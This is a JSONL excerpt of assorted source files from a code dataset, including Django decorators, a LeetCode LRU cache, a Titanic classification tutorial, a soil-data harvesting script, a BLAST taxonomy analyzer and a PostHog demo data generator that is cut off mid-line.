node_class=BusNode,\n plugins=None,\n **kwargs) -> BusNode:\n\n bus_client = client_class(\n rpc_transport=rpc_transport or RedisRpcTransport(),\n result_transport=result_transport or RedisResultTransport(),\n event_transport=event_transport or RedisEventTransport(),\n **kwargs\n )\n bus_client.setup(plugins=plugins)\n return node_class(name='', parent=None, bus_client=bus_client)\n","sub_path":"lightbus/bus.py","file_name":"bus.py","file_ext":"py","file_size_in_byte":16731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"313079905","text":"from django.template import RequestContext\nfrom django.shortcuts import render_to_response\nfrom django.contrib.auth import REDIRECT_FIELD_NAME\n\nfrom tajhiz.saisie.models import Activite\n\nimport datetime\n\ndef user_passes_test_with_403(test_func, login_url=None):\n if not login_url:\n from django.conf import settings\n login_url = settings.LOGIN_URL\n def _dec(view_func):\n def _checklogin(request, *args, **kwargs):\n if test_func(request.user):\n return view_func(request, *args, **kwargs)\n elif not request.user.is_authenticated():\n return HttpResponseRedirect('%s?%s=%s' % (login_url, REDIRECT_FIELD_NAME, quote(request.get_full_path())))\n else:\n resp = render_to_response('403.html', context_instance=RequestContext(request))\n resp.status_code = 403\n return resp\n _checklogin.__doc__ = view_func.__doc__\n _checklogin.__dict__ = view_func.__dict__\n return _checklogin\n return _dec\n\ndef permission_required_with_403(perm, login_url=None):\n return user_passes_test_with_403(lambda u: u.has_perm(perm), login_url=login_url)\n\ndef log_user_action_start(function=None, activity_name=None):\n def _dec(view_func):\n def _view(request, *args, **kwargs):\n now = datetime.datetime.now()\n activity = Activite.objects.create(user=request.user, start=now, end=now, closed=False, action=activity_name)\n activity.save()\n return view_func(request, *args, **kwargs)\n\n _view.__name__ = view_func.__name__\n _view.__dict__ = view_func.__dict__\n _view.__doc__ = view_func.__doc__\n return _view\n\n if function is None:\n return _dec\n else:\n return _dec(function)\n\ndef log_user_action_end(function=None, activity_name=None):\n def _dec(view_func):\n def _view(request, *args, **kwargs):\n activity_not_found_em = u\"can't find an activity matching the requested filters (log_user_action_end)\"\n now = datetime.datetime.now()\n open_activities = Activite.objects.filter(user=request.user).filter(action=activity_name).filter(closed=False)\n if open_activities.count == 0:\n resp = render_to_response('501.html', { custom_error_message : activity_not_found_em }, context_instance=RequestContext(request))\n resp.status_code = 501\n return resp\n elif open_activities.count > 1:\n for i in open_activities:\n i.end = now\n i.closed = True\n i.save()\n else:\n open_activities[0].end = now\n open_activities[0].closed = True\n open_activities[0].save()\n return view_func(request, *args, **kwargs)\n\n _view.__name__ = view_func.__name__\n _view.__dict__ = view_func.__dict__\n _view.__doc__ = view_func.__doc__\n return _view\n\n if function is None:\n return _dec\n else:\n return _dec(function)","sub_path":"saisie/customDecorator.py","file_name":"customDecorator.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"102213141","text":"# 运用你所掌握的数据结构,设计和实现一个  LRU (最近最少使用) 缓存机制。\n# 它应该支持以下操作: 获取数据 get 和 写入数据 put 。\n\n# 获取数据 get(key) - 如果密钥 (key) 存在于缓存中,则获取密钥的值(总是正数),否则返回 -1。\n# 写入数据 put(key, value) - 如果密钥不存在,则写入其数据值。\n# 当缓存容量达到上限时,它应该在写入新数据之前删除最近最少使用的数据值,从而为新的数据值留出空间。\n\n# 进阶:\n\n# 你是否可以在 O(1) 时间复杂度内完成这两种操作?\n\n# 示例:\n\n# LRUCache cache = new LRUCache( 2 /* 缓存容量 */ );\n\n# cache.put(1, 1); 1\n# cache.put(2, 2); 1 2\n# cache.get(1); // 返回 1 - 2 1\n# cache.put(3, 3); // 该操作会使得密钥 2 弹出dict 1 3\n# cache.get(2); // 返回 -1 (未找到)\n# cache.put(4, 4); // 该操作会使得密钥 1 弹出dict 3 4\n# cache.get(1); // 返回 -1 (未找到)\n# cache.get(3); // 返回 3\n# cache.get(4); // 返回 4\n\n# 来源:力扣(LeetCode)\n# 链接:https://leetcode-cn.com/problems/lru-cache\n# 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\nimport collections\n\n\nclass LRUCache(object):\n\n def __init__(self, capacity):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.capacity = capacity # data的最大容量\n self.len = 0 # data的当前使用量\n self.data = collections.OrderedDict() # data容器是一个orderedDict字典类型\n\n # class collections.OrderedDict([items])\n # Return an instance of a dict subclass that has methods specialized for rearranging dictionary order.\n\n # New in version 3.1.\n\n # popitem(last=True)\n # The popitem() method for ordered dictionaries returns and removes a (key, value) pair.\n # The pairs are returned in LIFO order if last is true or FIFO order if false.\n\n # move_to_end(key, last=True)\n # Move an existing key to either end of an ordered dictionary.\n # The item is moved to the right end if last is true (the default) or to the beginning if last is false.\n # Raises KeyError if the key does not exist:\n\n def get(self, key):\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n if key in self.data.keys():\n self.data.move_to_end(key) # 更新为最新的一个元素 放到右边\n return self.data[key]\n else:\n return -1\n\n def put(self, key, value):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: None\n \"\"\"\n\n # 如果是已经存在的key 那么只要更新value且移到最右边就行了\n if key in self.data.keys():\n self.data.move_to_end(key)\n self.data[key]=value\n return\n\n # key 不存在 是一个新key \n if self.len>=self.capacity:\n self.data.popitem(last=False)\n self.data[key]=value\n len+=1\n return\n","sub_path":"00腾讯50题/12LRU缓存.py","file_name":"12LRU缓存.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"191705252","text":"#Name: main.py\n#Purpose: main file of the program\n\nfrom game import Game\n\n\ndef main():\n game = Game(nRows=5, nColumns=5, inALine=4, player2=2) #creation of game object\n game.gameloop() #main loop of the game\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"411898569","text":"n = 100\n\ncnt = [0 for i in range(n)]\n\nstop = int((n + 1))\n\nfor a in range(0, stop):\n for b in range(0, stop):\n z = a + b\n diff = (z + 2 * a) ** 2 - (z + a) ** 2 - z ** 2\n if diff < n and diff > 0:\n cnt[diff] += 1\n # print(z,a,diff)\n\nres = len([c for c in cnt if c == 1])\nprint('res=' + str(res))\n\nfor i in range(n):\n if cnt[i] == 1:\n print(i)\n","sub_path":"pe136/pe136.py","file_name":"pe136.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"396225635","text":"#!/usr/bin/env python3\n\nfrom Bio.Blast.Applications import NcbiblastnCommandline\nimport csv\nimport os\nfrom proceseq_16s.utilities import remove_leading_string\nimport pydoc\nimport tempfile\n\n\nclass Analyzer():\n '''Analyze sequences in fasta file by blast\n\n Parameters\n ----------\n fasta_file : str\n Path to the fasta file containing sequences to be analyzed (default: None)\n dbase : str\n Path to the database used by blast (including name of the database)\n (default: None)\n taxonomy_folder : str\n Path to the folder containing taxonomy files *names.dmp* and *nodes.dmp*\n downloaded from the NCBI web (default: None)\n taxonomy_ranks : tuple\n Taxonomy ranks returned by *element_to_tsv* method\n (default: ('kingdom', 'phylum', 'class', 'order', 'family', 'genus', 'species'))\n bitscore_steps : int\n Number of the highest bitscore results parsed from the blast analysis results\n (default: 3)\n nproc : int\n Number of CPU threads used by blast (default: 8)\n\n Example\n -------\n ::\n\n from proceseq_16s import blast\n\n blast_analyzer = blast.analyzer('./sequences.fa', database='./database',\n taxonomy_folder='./taxonomy/')\n\n with open('taxonomized_seqs.tsv', 'w') as output_file:\n\n for seq_id in blast_analyzer.taxonomy:\n\n taxonomy_for_tsv = blast_analyzer.element_to_tsv(seq_id)\n\n output_file.write('Sequence ID: {}\\\\n'\n 'Taxonomy: {}\\\\n'.format(seq_id, taxonomy_for_tsv))\n\n Attributes\n ----------\n bitscore_steps : int\n Number of the highest bitscore results parsed from the blast analysis results\n dbase : str\n Path to the database used by blast (including name of the database)\n fasta_file : str\n Path to the fasta file containing sequences to be analyzed\n nproc : int\n Number of CPU threads used by blast\n taxonomy_folder : str\n Path to the folder containing taxonomy files *names.dmp* and *nodes.dmp*\n downloaded from the NCBI web\n taxonomy_ranks : tuple\n Taxonomy ranks returned by *element_to_tsv* method\n '''\n\n _taxonomy_names = None\n _taxonomy_nodes = None\n\n @classmethod\n def _parse_taxonomy_nodes(cls, path_to_dir=None):\n '''Read taxonomy nodes from nodes.dmp file downloaded from NCBI web\n\n Parses nodes.dmp file and saves parsed result to *cls._taxonomy_nodes*\n class parameter. Data are parsed as:\n\n cls._taxonomy_nodes = {taxid:(parent_id, rank)}\n\n Parameters\n ----------\n path_to_dir : str\n Path to the directory containing nodes.dmp file\n '''\n cls._taxonomy_nodes = {}\n with open(os.path.join(path_to_dir, 'nodes.dmp'), 'r') as f:\n cls._z_taxonomy_nodes = {}\n for line in f.readlines():\n taxid, parent_id, rank, *_ = line.split('|')\n cls._taxonomy_nodes[int(taxid.strip())] = \\\n (int(parent_id.strip()), rank.strip())\n\n @classmethod\n def _parse_taxonomy_names(cls, path_to_dir=None):\n '''Read taxonomy names from names.dmp file downloaded from NCBI web\n\n Parses names.dmp file and saves parsed result to cls._taxonomy_names\n class parameter. Data are parsed as:\n\n cls._taxonomy_names = {taxid:{class_name:name}}\n\n Parameters\n ----------\n path_to_dir : str\n Path to the directory containing names.dmp file\n '''\n names_file = os.path.join(path_to_dir, 'names.dmp')\n with open(names_file, 'r') as f:\n cls._taxonomy_names = {}\n for line in f.readlines():\n taxid, name, _, class_name, _ = line.split('|')\n try:\n cls._taxonomy_names[int(taxid.strip())][class_name.strip()] = \\\n name.strip()\n except KeyError:\n cls._taxonomy_names[int(taxid.strip())] = \\\n {class_name.strip(): name.strip()}\n\n def __init__(self, fasta_file=None, dbase=None, taxonomy_folder=None,\n taxonomy_ranks=None, bitscore_steps=3, nproc=8):\n self.dbase = dbase\n self.fasta_file = fasta_file\n self.taxonomy_folder = taxonomy_folder\n self.bitscore_steps = bitscore_steps\n self.nproc = nproc\n if taxonomy_ranks is None:\n self.taxonomy_ranks = ('kingdom', 'phylum', 'class', 'order', 'family',\n 'genus', 'species')\n else:\n self.taxonomy_ranks = taxonomy_ranks\n self._columns = ('qseqid staxid evalue mismatch gapopen pident length qstart '\n 'qend sstart send bitscore sseqid').split()\n self._taxonomy = None\n\n def _taxonomize(self):\n '''Analyze input fasta file by blast and parse results\n\n Parameters\n ----------\n None\n\n Returns\n -------\n dict\n Parsed alignment and taxonomy results. Results are returned as a\n dictionary mapping sequence identifiers as keys to taxonomy information.\n Taxonomy information is presented as a list of all blast hits. Every hit is\n saved as another dictionary mapping alignement and taxonomy parameters\n to results of blast analysis:\n {seq_id:[{'taxonomy': {rank: taxon}, 'length': length, ...},\n {'taxonomy': {rank: taxon}, 'length': length, ...}\n ]\n }\n '''\n if self.dbase is None:\n raise ValueError('No blast database provided!')\n if self.taxonomy_folder is None:\n raise ValueError('No folder containing taxonomy data provided!')\n\n with tempfile.NamedTemporaryFile(suffix='-blast.csv',\n mode='w',\n delete=False) as tmp_file:\n blast_command = NcbiblastnCommandline(\n query=self.fasta_file,\n task='megablast',\n num_threads=self.nproc,\n db=self.dbase,\n out=tmp_file.name,\n max_hsps=1,\n outfmt=('\"6 {}\"'.format(' '.join(self._columns))),\n )\n\n blast_command()\n\n self._taxonomy_file = tmp_file.name\n return self.parse_results()\n\n def _add_blast_taxonomy(self, taxon_id, taxonomy_folder=None):\n '''Create blast taxonomy information from dump files\n\n Parse names.dmp and nodes.dmp files from the local NCBI database\n and create dictionary containing taxonomic levels starting from\n provided blast taxonomy ID up to the kingdom.\n\n Parameters\n ----------\n taxon_id : int\n Blast taxonomy ID (staxids)\n taxonomy_folder : str\n Path to the folder containing blast taxonomic tree files\n (names.dmp and nodes.dmp). *self.taxonomy_folder* attribute\n is used, if this parameter is omitted.\n\n Returns\n -------\n dict\n Dictonary with taxonomic ranks as keys\n and taxon names as values\n '''\n if taxonomy_folder is None:\n taxonomy_folder = self.taxonomy_folder\n if self._taxonomy_nodes is None or self._taxonomy_names is None:\n self._parse_taxonomy_names(taxonomy_folder)\n self._parse_taxonomy_nodes(taxonomy_folder)\n\n taxonomy = {}\n\n while taxon_id != 1:\n rank = self._taxonomy_nodes[taxon_id][1]\n if rank == 'superkingdom':\n rank = 'kingdom'\n taxonomy[rank] = self._taxonomy_names[taxon_id]['scientific name']\n taxon_id = self._taxonomy_nodes[taxon_id][0]\n\n return taxonomy\n\n @property\n def taxonomy(self):\n '''Taxonomized sequences from input fasta file\n\n Parsed alignment and taxonomy results. Results are returned as a\n dictionary mapping sequence identifiers as keys to taxonomy information.\n Taxonomy information is presented as a list of all blast hits. Every hit is\n saved as another dictionary mapping alignement and taxonomy parameters\n to results of blast analysis:\n {seq_id:[{'taxonomy': {rank: taxon}, 'length': length, ...},\n {'taxonomy': {rank: taxon}, 'length': length, ...}]}\n\n :type: dict\n :getter: Returns taxonomized sequences\n '''\n self._taxonomize()\n return self._taxonomy\n\n def parse_results(self, taxonomy_file=None):\n '''Parse results of the blast analysis\n\n Parameters\n ----------\n taxonomy_file : str\n Path to a file with results of blast analysis (required)\n\n Returns\n -------\n dict\n Parsed alignment and taxonomy results. Results are returned as a\n dictionary mapping sequence identifiers as keys to taxonomy information.\n Taxonomy information is presented as a list of all blast hits. Every hit is\n saved as another dictionary mapping alignement and taxonomy parameters\n to results of blast analysis:\n {seq_id:[{'taxonomy': {rank: taxon}, 'length': length, ...},\n {'taxonomy': {rank: taxon}, 'length': length, ...}]}\n '''\n if taxonomy_file is None:\n try:\n taxonomy_file = self._taxonomy_file\n except AttributeError:\n raise AttributeError('Missing file with blast results!')\n\n last_sequence = None\n\n with open(taxonomy_file, 'r') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter='\\t')\n self._taxonomy = {}\n\n for row in csv_reader:\n if len(row) == 0:\n continue\n sequence = row[0]\n results = dict(zip(self._columns[1:], row[1:]))\n if sequence != last_sequence:\n last_bitscore = 10000\n bitscore_rank = 0\n self._taxonomy[sequence] = []\n taxids = set()\n last_sequence = sequence\n if float(results['bitscore']) < last_bitscore:\n last_bitscore = float(results['bitscore'])\n bitscore_rank += 1\n if (bitscore_rank > self.bitscore_steps or\n results['staxid'] in taxids):\n continue\n taxids.add(results['staxid'])\n taxonomy = self._add_blast_taxonomy(int(results['staxid']))\n taxonomy['species'] = remove_leading_string(\n taxonomy['species'], taxonomy.get('genus', '') + ' ')\n results['taxonomy'] = taxonomy\n self._taxonomy[sequence].append(results)\n\n return self._taxonomy\n\n def element_to_tsv(self, seq_id):\n '''Format results from the last analyzed taxonomy for output to tsv file\n\n Blast alignment and taxonomization will be performed, if it hasn't been\n done manually.\n\n Parameters\n ----------\n seq_id : str\n Identifier (key in *self.taxonomy* attribute) of the sequence,\n whose results will be formated and returned (required)\n\n Returns\n -------\n str\n Result of the analysis formated for saving to the output tsv file\n '''\n if self._taxonomy is None:\n self._taxonomize()\n\n taxonomy_for_tsv = ''\n try:\n extracted_taxonomies = self._taxonomy[seq_id]\n for blast_result in extracted_taxonomies:\n final_taxonomy = [blast_result['taxonomy'].get(taxonomy_rank, 'NA')\n for taxonomy_rank in self.taxonomy_ranks]\n taxonomy_for_tsv += ('\\tBlast-bits:{}\\t{}\\tmismatch:{}\\tgaps:{}\\te_val:{}'\n '\\n').format(blast_result['bitscore'],\n '\\t'.join(final_taxonomy),\n blast_result['mismatch'],\n blast_result['gapopen'],\n blast_result['evalue'])\n\n except KeyError:\n pass\n # print('Blast - sequence ID {} not found.'.format(seq_id))\n # taxonomy_for_tsv = ''\n\n return taxonomy_for_tsv\n\n\nif __name__ == '__main__':\n exit(pydoc.render_doc(__name__)) # pragma: no cover\n","sub_path":"proceseq_16s/blast.py","file_name":"blast.py","file_ext":"py","file_size_in_byte":12611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"216272461","text":"# Classification # with Titaninc data\r\nimport pandas as pd\r\ndata = pd.read_csv(\"Titanic_dataset.csv\")\r\n# describe로 데이터 확인하기.\r\ndata.describe(include = \"all\") # include = 'all' > 전체 데이터 \r\n# 빠진 값 확인하기\r\ndata.isnull().sum()\r\n# feature 제거\r\ndata.drop([\"cabin\",'boat','body','home.dest','name','ticket']\r\n ,axis =1, inplace = True) # inplace > data의 원본 수정\r\n # 데이터 채우기 (변경) (숫자값) # 조건()을 만족하는 low 선택, 그 중에서 가져오고 싶은 columns\r\ndata.loc[data.fare.isnull(), ['fare']] = data.fare.mean()\r\ndata.loc[data['age'].isnull(), 'age'] = data.age.mean()\r\n# 동시에 변경 불가\r\n# 데이터 채우기 (글자) \r\ndata.groupby('embarked').size()\r\ndata.loc[data.embarked.isnull(), \"embarked\"] = \"S\"\r\nprint(data.groupby('embarked').size())\r\n# null값 다시 확인 > 없음\r\ndata.isnull().sum()\r\n# 시각화\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt # 0 or 1\r\nprint(data.survived.value_counts(normalize = True)) # (normalize = True) > 한 번에 보여줌\r\nsns.countplot(data.survived) # 막대그레프\r\nplt.title('Count of surviver')\r\n# 성별에 따른 생존자 수 ( X, hue = Y )\r\nsns.countplot(data.gender, hue = data.survived)\r\nplt.title(\"Relationship between gender and surviver\")\r\n# 선실 등급에 따른 생존 여부\r\n# 등고선 x y \r\nsns.kdeplot(data.pclass, data.survived)\r\nplt.title(\"Relationship between pclass ans surviver\")\r\n# 데이터 변환 글자 > 숫자\r\ndata.loc[data.gender=='male',['gender']] = 0\r\ndata.loc[data.gender=='female','gender'] = 1\r\n\r\ndata.loc[data.embarked=='S','embarked'] = 0\r\ndata.loc[data.embarked=='Q','embarked'] = 1\r\ndata.loc[data.embarked=='C','embarked'] = 2\r\n# X와 Y분리 후 확인\r\nX = data.drop(\"survived\", axis = 1)\r\nY = data.survived\r\nprint(X[:4])\r\nprint(Y[:4])\r\n# 데이터셋 분리\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.2, random_state = 111)\r\n# 학습\r\nfrom sklearn.linear_model import LogisticRegression\r\nlog_classifier = LogisticRegression()\r\nlog_classifier.fit(X_train, Y_train)\r\n# 평가\r\nfrom sklearn.metrics import accuracy_score # 정확도\r\ny_predict = log_classifier.predict(X_test)\r\nacc = accuracy_score(Y_test, y_predict)\r\nprint(acc)\r\nfrom sklearn.metrics import confusion_matrix\r\ncm = confusion_matrix(Y_test, y_predict)\r\nsns.heatmap(cm, annot = True)","sub_path":"ML_with_SKL/ML_with_SKL3.py","file_name":"ML_with_SKL3.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"107638306","text":"\"\"\"Harvest Soil Infiltration\"\"\"\nimport sys\n\nimport isudatateam.cscap_utils as util\nimport psycopg2\n\nYEAR = sys.argv[1]\n\nconfig = util.get_config()\n\npgconn = psycopg2.connect(\n database=\"sustainablecorn\", host=config[\"database\"][\"host\"]\n)\npcursor = pgconn.cursor()\n\n# Get me a client, stat\nspr_client = util.get_spreadsheet_client(config)\n\ndrive_client = util.get_driveclient(config)\n\nDOMAIN = [\"SOIL3\"]\n\n# Load up current data\ncurrent = {}\npcursor.execute(\n \"\"\"SELECT uniqueid, plotid, varname, depth, subsample, value\n from soil_data WHERE year = %s and varname in %s\n \"\"\",\n (YEAR, tuple(DOMAIN)),\n)\nfor row in pcursor:\n key = \"%s|%s|%s|%s|%s\" % row[:5]\n current[key] = row[4]\n\nres = (\n drive_client.files()\n .list(q=\"title contains 'Soil Infiltration Data'\")\n .execute()\n)\n\nfor item in res[\"items\"]:\n if item[\"mimeType\"] != \"application/vnd.google-apps.spreadsheet\":\n continue\n spreadsheet = util.Spreadsheet(spr_client, item[\"id\"])\n spreadsheet.get_worksheets()\n if YEAR not in spreadsheet.worksheets:\n # print((\"Missing %s from %s\") % (YEAR, spreadsheet.title))\n continue\n worksheet = spreadsheet.worksheets[YEAR]\n worksheet.get_cell_feed()\n siteid = item[\"title\"].split()[0]\n if (\n worksheet.get_cell_value(1, 1) != \"plotid\"\n or worksheet.get_cell_value(1, 2) != \"depth\"\n ):\n print(\n ('harvest_soil_infiltration %s[%s] headers: \"%s\",\"%s\", skipping')\n % (\n siteid,\n YEAR,\n worksheet.get_cell_value(1, 1),\n worksheet.get_cell_value(1, 2),\n )\n )\n continue\n\n for row in range(4, worksheet.rows + 1):\n plotid = worksheet.get_cell_value(row, 1)\n depth = worksheet.get_cell_value(row, 2)\n if depth.find(\" to \") == -1:\n print(\n (\"harvest_soil_infiltration found invalid depth: %s %s %s\")\n % (depth, siteid, YEAR)\n )\n continue\n # if depth not in allowed_depths:\n # print 'site: %s year: %s has illegal depth: %s' % (siteid, YEAR,\n # depth)\n # continue\n if plotid is None or depth is None:\n continue\n subsample = \"1\"\n for col in range(3, worksheet.cols + 1):\n if worksheet.get_cell_value(1, col) is None:\n print(\n (\n \"harvest_soil_infiltration Year: %s Site: %s Col: %s is null\"\n )\n % (YEAR, siteid, col)\n )\n continue\n varname = worksheet.get_cell_value(1, col).strip().split()[0]\n if not varname.startswith(\"SOIL\"):\n continue\n inval = worksheet.get_cell_value(row, col)\n val = util.cleanvalue(inval)\n if inval is not None and val is None:\n print(\n (\n \"harvest_soil_infiltration found None. site: %s year: %s \"\n \" row: %s col: %s varname: %s\"\n )\n % (siteid, YEAR, row, col, varname)\n )\n if varname == \"subsample\":\n subsample = \"%.0f\" % (float(val),)\n continue\n elif varname[:4] != \"SOIL\":\n print(\n (\"Invalid varname: %s site: %s year: %s\")\n % (worksheet.get_cell_value(1, col).strip(), siteid, YEAR)\n )\n continue\n # if subsample != \"1\":\n # continue\n try:\n pcursor.execute(\n \"\"\"\n INSERT into soil_data(uniqueid, plotid, varname, year,\n depth, value, subsample)\n values (%s, %s, %s, %s, %s, %s, %s)\n \"\"\",\n (siteid, plotid, varname, YEAR, depth, val, subsample),\n )\n except Exception as exp:\n print(\"HARVEST_SOIL_infiltration TRACEBACK\")\n print(exp)\n sys.exit()\n key = \"%s|%s|%s|%s|%s\" % (\n siteid,\n plotid,\n varname,\n depth,\n subsample,\n )\n if key in current:\n del current[key]\n\nfor key in current:\n (siteid, plotid, varname, depth, subsample) = key.split(\"|\")\n if varname in DOMAIN:\n print(\n (\"harvest_soil_infiltration rm %s %s %s %s %s %s %s\")\n % (YEAR, siteid, plotid, varname, depth, subsample, current[key])\n )\n pcursor.execute(\n \"\"\"DELETE from soil_data where uniqueid = %s and\n plotid = %s and varname = %s and year = %s and depth = %s and\n subsample = %s\"\"\",\n (siteid, plotid, varname, YEAR, depth, subsample),\n )\n\n\npcursor.close()\npgconn.commit()\npgconn.close()\n","sub_path":"scripts/cscap/harvest_soil_infiltration.py","file_name":"harvest_soil_infiltration.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"645879386","text":"n, m = map(int, input().split())\nl = range(1, n+1)\ndef choice(l, last_idx, stack):\n if len(stack) == m:\n for elem in stack:\n print(elem, end=' ')\n print()\n return\n\n for idx in range(last_idx, len(l)):\n stack.append(l[idx])\n choice(l, idx, stack)\n stack.pop()\n\nchoice(l, 0, [])\n","sub_path":"boj/15652.py","file_name":"15652.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"436977253","text":"import json\nimport os\nimport random\nimport secrets\nfrom datetime import timedelta\n\nfrom dateutil.relativedelta import relativedelta\nfrom django.utils.timezone import now\n\nfrom posthog.constants import TREND_FILTER_TYPE_ACTIONS\nfrom posthog.demo.data_generator import DataGenerator\nfrom posthog.models import Action, ActionStep, Dashboard, DashboardItem, Person\nfrom posthog.models.filters.mixins.utils import cached_property\nfrom posthog.models.utils import UUIDT\nfrom posthog.utils import get_absolute_path\n\nSCREEN_OPTIONS = (\"settings\", \"profile\", \"movies\", \"downloads\")\n\n\nclass WebDataGenerator(DataGenerator):\n def create_missing_events_and_properties(self):\n self.add_if_not_contained(self.team.event_properties_numerical, \"purchase\")\n self.add_if_not_contained(self.team.event_properties, \"purchase\")\n\n def create_actions_dashboards(self):\n homepage = Action.objects.create(team=self.team, name=\"HogFlix homepage view\")\n ActionStep.objects.create(action=homepage, event=\"$pageview\", url=\"http://hogflix.com\", url_matching=\"exact\")\n\n user_signed_up = Action.objects.create(team=self.team, name=\"HogFlix signed up\")\n ActionStep.objects.create(\n action=user_signed_up,\n event=\"$autocapture\",\n url=\"http://hogflix.com/1\",\n url_matching=\"contains\",\n selector=\"button\",\n )\n\n user_paid = Action.objects.create(team=self.team, name=\"HogFlix paid\")\n ActionStep.objects.create(\n action=user_paid,\n event=\"$autocapture\",\n url=\"http://hogflix.com/2\",\n url_matching=\"contains\",\n selector=\"button\",\n )\n\n dashboard = Dashboard.objects.create(\n name=\"Web Analytics\", pinned=True, team=self.team, share_token=secrets.token_urlsafe(22)\n )\n DashboardItem.objects.create(\n team=self.team,\n dashboard=dashboard,\n name=\"HogFlix signup -> watching movie\",\n description=\"Shows a conversion funnel from sign up to watching a movie.\",\n filters={\n \"actions\": [\n {\"id\": homepage.id, \"name\": \"HogFlix homepage view\", \"order\": 0, \"type\": TREND_FILTER_TYPE_ACTIONS},\n {\n \"id\": user_signed_up.id,\n \"name\": \"HogFlix signed up\",\n \"order\": 1,\n \"type\": TREND_FILTER_TYPE_ACTIONS,\n },\n {\"id\": user_paid.id, \"name\": \"HogFlix paid\", \"order\": 2, \"type\": TREND_FILTER_TYPE_ACTIONS},\n ],\n \"insight\": \"FUNNELS\",\n },\n )\n\n def populate_person_events(self, person: Person, distinct_id: str, index: int):\n start_day = random.randint(1, 7) if index > 0 else 0\n browser = random.choice([\"Chrome\", \"Safari\", \"Firefox\"])\n\n self.add_event(\n event=\"$pageview\",\n distinct_id=distinct_id,\n timestamp=now() - relativedelta(days=start_day),\n properties={\"$current_url\": \"http://hogflix.com\", \"$browser\": browser, \"$lib\": \"web\"},\n )\n\n self.add_event(\n distinct_id=distinct_id,\n event=\"$autocapture\",\n properties={\n \"$current_url\": \"http://hogflix.com\",\n \"$browser\": browser,\n \"$lib\": \"web\",\n \"$event_type\": \"click\",\n },\n timestamp=now() - relativedelta(days=start_day) + relativedelta(seconds=14),\n # elements=[\n # Element(\n # tag_name=\"a\",\n # href=\"/demo/1\",\n # attr_class=[\"btn\", \"btn-success\"],\n # attr_id=\"sign-up\",\n # text=\"Sign up\",\n # ),\n # Element(tag_name=\"form\", attr_class=[\"form\"]),\n # Element(tag_name=\"div\", attr_class=[\"container\"]),\n # Element(tag_name=\"body\"),\n # Element(tag_name=\"html\"),\n # ],\n )\n\n if index % 4 == 0:\n self.add_event(\n event=\"$autocapture\",\n distinct_id=distinct_id,\n properties={\n \"$current_url\": \"http://hogflix.com/1\",\n \"$browser\": browser,\n \"$lib\": \"web\",\n \"$event_type\": \"click\",\n },\n timestamp=now() - relativedelta(days=start_day) + relativedelta(seconds=29),\n # elements=[\n # Element(tag_name=\"button\", attr_class=[\"btn\", \"btn-success\"], text=\"Sign up!\",),\n # Element(tag_name=\"form\", attr_class=[\"form\"]),\n # Element(tag_name=\"div\", attr_class=[\"container\"]),\n # Element(tag_name=\"body\"),\n # Element(tag_name=\"html\"),\n # ],\n )\n self.add_event(\n event=\"$pageview\",\n distinct_id=distinct_id,\n properties={\"$current_url\": \"http://hogflix.com/2\", \"$browser\": browser, \"$lib\": \"web\",},\n timestamp=now() - relativedelta(days=start_day) + relativedelta(seconds=30),\n )\n if index % 5 == 0:\n self.add_event(\n event=\"$autocapture\",\n distinct_id=distinct_id,\n properties={\n \"$current_url\": \"http://hogflix.com/2\",\n \"$browser\": browser,\n \"$lib\": \"web\",\n \"$event_type\": \"click\",\n },\n timestamp=now() - relativedelta(days=start_day) + relativedelta(seconds=59),\n # elements=[\n # Element(tag_name=\"button\", attr_class=[\"btn\", \"btn-success\"], text=\"Pay $10\",),\n # Element(tag_name=\"form\", attr_class=[\"form\"]),\n # Element(tag_name=\"div\", attr_class=[\"container\"]),\n # Element(tag_name=\"body\"),\n # Element(tag_name=\"html\"),\n # ],\n )\n self.add_event(\n event=\"purchase\",\n distinct_id=distinct_id,\n properties={\"price\": 10},\n timestamp=now() - relativedelta(days=start_day) + relativedelta(seconds=60),\n )\n self.add_event(\n event=\"$pageview\",\n distinct_id=distinct_id,\n properties={\"$current_url\": \"http://hogflix.com/3\", \"$browser\": browser, \"$lib\": \"web\",},\n timestamp=now() - relativedelta(days=start_day) + relativedelta(seconds=60),\n )\n\n def populate_session_recording(self, person: Person, distinct_id: str, index: int):\n if index != 0:\n return\n\n date = now()\n start_time = self.demo_recording[\"result\"][\"snapshots\"][0][\"timestamp\"]\n session_id = str(UUIDT())\n\n for snapshot in self.demo_recording[\"result\"][\"snapshots\"]:\n self.snapshots.append(\n {\n \"session_id\": session_id,\n \"distinct_id\": distinct_id,\n \"timestamp\": date + timedelta(milliseconds=snapshot[\"timestamp\"] - start_time),\n \"snapshot_data\": snapshot,\n }\n )\n\n def make_person(self, index):\n if index < len(self.demo_data):\n properties = self.demo_data[index]\n properties[\"is_demo\"] = True\n return Person(team=self.team, properties=properties, is_identified=True)\n else:\n return super().make_person(index)\n\n @cached_property\n def demo_data(self):\n with open(get_absolute_path(\"demo/demo_data.json\"), \"r\") as demo_data_file:\n return 